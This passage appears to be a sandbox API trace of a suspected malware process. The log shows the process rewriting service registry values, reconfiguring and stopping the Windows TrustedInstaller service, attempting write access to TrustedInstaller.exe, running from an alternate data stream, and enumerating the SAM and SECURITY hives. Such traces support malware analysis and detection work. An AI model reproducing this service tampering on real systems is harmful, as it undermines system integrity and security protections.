[0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0230.908] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0230.909] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x6) returned 0x6 [0230.909] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x1) returned 0x6 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.909] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0230.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0230.910] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0230.911] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0230.911] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0230.911] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0230.911] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.911] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x1) returned 0x6 [0230.911] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0230.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0230.911] LocalFree (hMem=0x7f03d0) returned 0x0 [0230.911] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1d18, cbData=0x2f) returned 0x6 [0230.911] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0230.917] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0230.918] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0230.918] RegCloseKey (hKey=0x148) returned 0x0 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0230.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0230.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0230.919] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.919] GetLastError () returned 0x5 [0230.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0230.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0230.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0230.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0230.923] NtClose (Handle=0x148) returned 0x0 [0230.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0230.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0230.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0231.382] NtClose (Handle=0x148) returned 0x0 [0231.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0231.382] NtClose (Handle=0x154) returned 0x0 [0231.382] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0231.738] NtClose (Handle=0x14c) returned 0x0 [0231.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0231.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0231.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0231.738] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0231.738] GetLastError () returned 0x5 [0231.738] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0231.739] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0231.739] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0231.739] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0231.739] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0231.740] GetLastError () returned 0x426 [0231.740] CloseServiceHandle (hSCObject=0x803990) returned 1 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0231.740] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0231.740] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0231.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.740] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.741] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.741] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.741] RtlFreeHeap 